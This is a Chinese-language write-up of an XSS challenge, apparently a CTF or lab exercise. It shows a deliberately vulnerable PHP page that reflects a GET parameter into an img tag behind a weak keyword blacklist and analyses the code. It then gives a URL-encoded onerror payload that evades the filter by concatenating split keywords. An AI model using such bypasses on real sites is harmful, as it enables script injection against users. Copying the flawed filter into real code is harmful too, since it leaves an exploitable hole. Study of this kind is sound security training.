目录
题目
注:此题与上一次的题目相似,因此直接注入结果。
<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\\","<",">","'"), '', $xss);
if (preg_match('/(script|document|cookie|eval|setTimeout|alert)/', $xss)) {
exit('bad');
}
echo "<img src=\"{$xss}\">";
?>
代码分析
1、下面代码是运用了三目运算符对get是否传到参数进行了判断,并将传到的参数对xss变量进行赋值。
$xss = isset($_GET['xss'])?$_GET['xss']:'';
2、下面代码是通过正则表达式,将get上传的参数进行了过滤,将" ( ", " ) ", " & ", " \\ ", " < ", " > ", " ' "这些符号进行了替换,替换结果为空。
$xss = str_replace(array("(",")","&","\\","<",">","'"), '', $xss);
3、条件语句,将(script|document|cookie|eval|setTimeout|alert)这些关键字作为条件语句的条件,只要出现这些关键字的任何一个,就会执行程序退出。
if (preg_match('/(script|document|cookie|eval|setTimeout|alert)/', $xss)) {
exit('bad');
4、通过get传参,进行打印<img>标签注入的结果。
echo "<img src=\"{$xss}\">";
注入过程思路
注入语句:
?xss=1%22%20onerror=location=%22javascri%22%2b%22pt:al%22%2b%22ert%25281%2529
思路:
题目中明确说明不能出现以下关键字(script|document|cookie|eval|setTimeout|alert),因此思路就是就将这些字符串进行拼接,在javascript中拼接字符串可以直接使用+,但是在url地址栏中,+会被url转义为空格,因此需要将+进行urlcode编码。其他原因与上次的题目相同。因此弹窗成功弹出。